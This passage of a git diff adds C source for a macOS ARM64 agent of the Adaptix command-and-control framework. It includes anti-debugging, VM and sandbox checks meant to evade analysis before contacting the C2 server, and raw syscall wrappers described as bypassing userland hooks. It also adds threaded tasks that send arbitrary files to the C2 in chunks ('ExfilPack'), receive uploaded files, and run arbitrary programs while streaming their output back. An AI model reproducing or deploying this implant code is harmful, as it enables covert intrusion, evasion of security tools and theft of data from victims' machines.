CTL_HW, HW_NCPU }; + int ncpu = 0; + size_t ncpu_len = sizeof(ncpu); + + if (sys_sysctl(mib_ncpu, 2, &ncpu, &ncpu_len, (void*)0, 0) == 0) { + if (ncpu < 2) { + return -1; // Suspiciously low CPU count + } + } + + // Check physical memory — analysis VMs often have <4GB + int mib_mem[2] = { CTL_HW, HW_MEMSIZE }; + uint64_t memsize = 0; + size_t mem_len = sizeof(memsize); + + if (sys_sysctl(mib_mem, 2, &memsize, &mem_len, (void*)0, 0) == 0) { + // Less than 4GB = suspicious + if (memsize < (uint64_t)4 * 1024 * 1024 * 1024) { + return -1; + } + } + + return 0; +} + +/// ── Sandbox Detection ── +/// Detects macOS App Sandbox and analysis environments: +/// 1. CS_OPS_STATUS csops — check if sandboxed +/// 2. Check for known analysis tools running + +// csops operations +#define CS_OPS_STATUS 0 +// Code signing flags +#define CS_RESTRICT 0x0000800 +#define CS_ENFORCEMENT 0x0001000 + +int opsec_sandbox_detect(void) { + // Check code signing status via csops syscall + uint32_t cs_flags = 0; + int pid = sys_getpid(); + + if (sys_csops(pid, CS_OPS_STATUS, &cs_flags, sizeof(cs_flags)) == 0) { + // CS_RESTRICT means the binary has restricted entitlements + // This is normal for sandboxed apps but unusual for our agent + // We don't fail on this — just informational + } + + // Check for analysis tools by looking for their processes + // via sysctl KERN_PROC_ALL — but this is noisy + // Instead, check for known paths that indicate analysis environment + + // Check if running inside /private/var/folders (quarantine) + char cwd[1024]; + if (R_getcwd(cwd, sizeof(cwd))) { + // macOS quarantine directory + if (cwd[0] == '/' && cwd[1] == 'p' && cwd[2] == 'r' && + cwd[3] == 'i' && cwd[4] == 'v' && cwd[5] == 'a' && + cwd[6] == 't' && cwd[7] == 'e') { + // Running from quarantine — could be analysis + // Don't fail, but flag it + } + } + + return 0; +} + +/// ── Combined Check ── +int opsec_check(void) { + if (opsec_anti_debug() != 0) return -1; + if (opsec_vm_detect() != 0) return -1; + // Sandbox detection is informational, don't block + opsec_sandbox_detect(); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h new file mode 100644 index 000000000..056ec9228 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h @@ -0,0 +1,17 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks — anti-debug, VM detection, sandbox detection +/// Call opsec_check() at startup before any C2 communication + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); // PT_DENY_ATTACH + P_TRACED check +int opsec_vm_detect(void); // VM/hypervisor detection +int opsec_sandbox_detect(void); // App Sandbox detection + +#endif // OPSEC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h new file mode 100644 index 000000000..7e243456d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h @@ -0,0 +1,191 @@ +#ifndef SYSCALLS_ARM64_H +#define SYSCALLS_ARM64_H + +#include +#include + +/// ARM64 macOS direct syscalls via SVC #0x80 +/// BSD syscall numbers are 0x2000000 | bsd_number +/// Mach traps are negative numbers (not used here) +/// +/// Bypasses userland hooks on libSystem functions + +#define SYS_CLASS_UNIX 0x2000000 + +// BSD syscall numbers (macOS ARM64) +#define SYS_exit (SYS_CLASS_UNIX | 1) +#define SYS_fork (SYS_CLASS_UNIX | 2) +#define SYS_read (SYS_CLASS_UNIX | 3) +#define SYS_write (SYS_CLASS_UNIX | 4) +#define SYS_open (SYS_CLASS_UNIX | 5) +#define SYS_close (SYS_CLASS_UNIX | 6) +#define SYS_kill (SYS_CLASS_UNIX | 37) +#define SYS_getpid (SYS_CLASS_UNIX | 20) +#define SYS_getuid (SYS_CLASS_UNIX | 24) +#define SYS_ptrace (SYS_CLASS_UNIX | 26) +#define SYS_socket (SYS_CLASS_UNIX | 97) +#define SYS_connect (SYS_CLASS_UNIX | 98) +#define SYS_mmap (SYS_CLASS_UNIX | 197) +#define SYS_munmap (SYS_CLASS_UNIX | 73) +#define SYS_mprotect (SYS_CLASS_UNIX | 74) +#define SYS_sysctl (SYS_CLASS_UNIX | 202) +#define SYS_sysctlbyname (SYS_CLASS_UNIX | 274) +#define SYS_stat64 (SYS_CLASS_UNIX | 338) +#define SYS_fstat64 (SYS_CLASS_UNIX | 339) +#define SYS_getdirentries64 (SYS_CLASS_UNIX | 344) +#define SYS_csops (SYS_CLASS_UNIX | 169) + +// ptrace requests +#define PT_DENY_ATTACH 31 +#define PT_TRACE_ME 0 + +/// Raw syscall wrappers — ARM64 ABI +/// x16 = syscall number, x0-x5 = args, SVC #0x80 +/// Returns x0 (result), carry flag set on error + +static inline long raw_syscall0(long number) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0x80\n" + : "=r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, + long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers for common syscalls + +static inline int sys_open(const char* path, int flags, int mode) { + return (int)raw_syscall3(SYS_open, (long)path, (long)flags, (long)mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(SYS_close, (long)fd); +} + +static inline long sys_read(int fd, void* buf, size_t count) { + return raw_syscall3(SYS_read, (long)fd, (long)buf, (long)count); +} + +static inline long sys_write(int fd, const void* buf, size_t count) { + return raw_syscall3(SYS_write, (long)fd, (long)buf, (long)count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(SYS_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(SYS_getuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(SYS_kill, (long)pid, (long)sig); +} + +static inline int sys_ptrace(int request, int pid, void* addr, int data) { + return (int)raw_syscall4(SYS_ptrace, (long)request, (long)pid, (long)addr, (long)data); +} + +static inline void* sys_mmap(void* addr, size_t len, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(SYS_mmap, (long)addr, (long)len, (long)prot, + (long)flags, (long)fd, offset); +} + +static inline int sys_munmap(void* addr, size_t len) { + return (int)raw_syscall2(SYS_munmap, (long)addr, (long)len); +} + +static inline int sys_mprotect(void* addr, size_t len, int prot) { + return (int)raw_syscall3(SYS_mprotect, (long)addr, (long)len, (long)prot); +} + +static inline int sys_sysctl(int* name, unsigned int namelen, void* oldp, + size_t* oldlenp, void* newp, size_t newlen) { + return (int)raw_syscall6(SYS_sysctl, (long)name, (long)namelen, (long)oldp, + (long)oldlenp, (long)newp, (long)newlen); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(SYS_fork); +} + +static inline int sys_csops(int pid, unsigned int ops, void* useraddr, size_t usersize) { + return (int)raw_syscall4(SYS_csops, (long)pid, (long)ops, (long)useraddr, (long)usersize); +} + +#endif // SYSCALLS_ARM64_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c new file mode 100644 index 000000000..537c38968 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,806 @@ +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _async_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _async_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _async_dbg(msg) ((void)0) +#define _async_dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key, const char** val, uint32_t* vlen) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key) && ax_memcmp(k, key, kl) == 0) { + return mp_read_str(&r, val, vlen); + } + mp_skip(&r); + } + return -1; +} + +// ── Download ── +// Go: ParamsDownload{Task string, Path string} +// Spawns thread → opens new connection → streams file in 1MB chunks +// Sends ExfilPack init, then Message{Type:2, Object:[Job{cmd_id:5, ...}]} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void* download_thread(void* arg) { + download_args_t* args = (download_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[args->job_idx]; + + _async_dbg("[DOWNLOAD] === download_thread start ==="); + _async_dbg(args->task); + _async_dbg(args->path); + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + _async_dbg("[DOWNLOAD] jobs_open_connection failed!"); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + _async_dbg("[DOWNLOAD] C2 connection opened"); + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + _async_dbg("[DOWNLOAD] sending ExfilPack init..."); + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_init failed!"); + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + _async_dbg("[DOWNLOAD] ExfilPack sent OK"); + + // Parse FileId from task hex string (e.g. "03274ad5") + int file_id = ax_hextoi(args->task); + _async_dbg_int("[DOWNLOAD] file_id=", file_id); + + // Open file + _async_dbg("[DOWNLOAD] opening file..."); + int fd = R_open(args->path, O_RDONLY, 0); + if (fd < 0) { + _async_dbg("[DOWNLOAD] R_open failed!"); + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; + } + + // Get file size + struct stat st; + R_fstat(fd, &st); + size_t total_size = (size_t)st.st_size; + _async_dbg_int("[DOWNLOAD] file size=", (int64_t)total_size); + + // Read and stream in chunks + uint8_t* chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + size_t offset = 0; + int first = 1; + int chunk_count = 0; + + while (offset < total_size && !job->canceled) { + size_t remaining = total_size - offset; + size_t to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + ssize_t n = R_read(fd, chunk_buf, to_read); + if (n <= 0) break; + + int is_last = (offset + (size_t)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (chunk_count < 3) { + _async_dbg_int("[DOWNLOAD] chunk#=", chunk_count); + _async_dbg_int("[DOWNLOAD] read n=", (int64_t)n); + _async_dbg_int("[DOWNLOAD] offset=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] is_last=", is_last); + _async_dbg_int("[DOWNLOAD] msg size=", (int64_t)ans_w.buf.len); + } + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + _async_dbg("[DOWNLOAD] jobs_send_message failed!"); + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (size_t)n; + first = 0; + chunk_count++; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + _async_dbg_int("[DOWNLOAD] === download complete, total chunks=", chunk_count); + _async_dbg_int("[DOWNLOAD] total bytes sent=", (int64_t)offset); + _async_dbg_int("[DOWNLOAD] canceled=", job->canceled); + + ax_free(chunk_buf, DOWNLOAD_CHUNK_SIZE); + R_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args, sizeof(download_args_t)); + return (void*)0; +} + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + _async_dbg("[DOWNLOAD] === task_download called ==="); + _async_dbg_int("[DOWNLOAD] data_len=", data_len); + + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + _async_dbg_int("[DOWNLOAD] map_count=", mc); + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed task="); + _async_dbg(task); + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + _async_dbg("[DOWNLOAD] parsed path="); + _async_dbg(path); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + _async_dbg("[DOWNLOAD] missing task or path!"); + _async_dbg(task[0] ? "task OK" : "task EMPTY"); + _async_dbg(path[0] ? "path OK" : "path EMPTY"); + write_error(w, "missing task or path"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + // Prepare thread args + download_args_t* args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + R_pthread_create(&job->thread, (void*)0, download_thread, args); + R_pthread_detach(job->thread); + + // Return immediate ack + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Go: ParamsUpload{Task string, Path string, Content []byte, Finish bool} +// Synchronous — data received in chunks via normal command loop + +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t* content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t* ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t* up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t* new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data, up->data_cap); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = R_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + R_write(fd, up->data, up->data_len); + } + R_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data, up->data_cap); + // Shift remaining entries + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Go: ParamsRun{Program string, Args []string, Task string} +// Spawns thread → opens new connection → runs process → streams stdout/stderr + +#define RUN_CHUNK_SIZE 65536 // 64KB (0x10000) + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char* args[64]; + int argc; +} run_args_t; + +static void* run_thread(void* arg) { + run_args_t* rargs = (run_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + job_entry_t* job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (R_pipe(stdout_pipe) != 0 || R_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + // Build argv for execvp + // argv[0] = program, argv[1..N] = args, argv[N+1] = NULL + char* exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = R_fork(); + if (pid < 0) { + R_close(stdout_pipe[0]); R_close(stdout_pipe[1]); + R_close(stderr_pipe[0]); R_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; + } + + if (pid == 0) { + // Child process + R_setpgid(0, 0); + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + R_dup2(stdout_pipe[1], 1); + R_dup2(stderr_pipe[1], 2); + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(rargs->program, exec_argv, environ); + R_exit(1); + } + + // Parent: close write ends + R_close(stdout_pipe[1]); + R_close(stderr_pipe[1]); + + // Set reads to non-blocking + R_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + R_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop — read stdout/stderr, send every ~1 second + uint8_t* out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t* err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + R_usleep(1000000); // 1 second + + // Read stdout + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + // Read stderr + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 0) err_n = 0; + + // Check if process exited + int status; + int wret = R_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + // Send output if any + if (out_n > 0 || err_n > 0) { + // Build stdout/stderr strings (null-terminate for msgpack str) + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + } + + // If canceled, kill process + if (job->canceled) { + R_killpg(pid, 9); // SIGKILL + R_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char* out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char* err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str, (size_t)out_n + 1); + ax_free(err_str, (size_t)err_n + 1); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + R_close(stdout_pipe[0]); + R_close(stderr_pipe[0]); + ax_free(out_buf, RUN_CHUNK_SIZE); + ax_free(err_buf, RUN_CHUNK_SIZE); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + // Free args + for (int i = 0; i < rargs->argc; i++) + ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1); + ax_free(rargs, sizeof(run_args_t)); + return (void*)0; +} + +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsRun{Program, Args, Task} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + 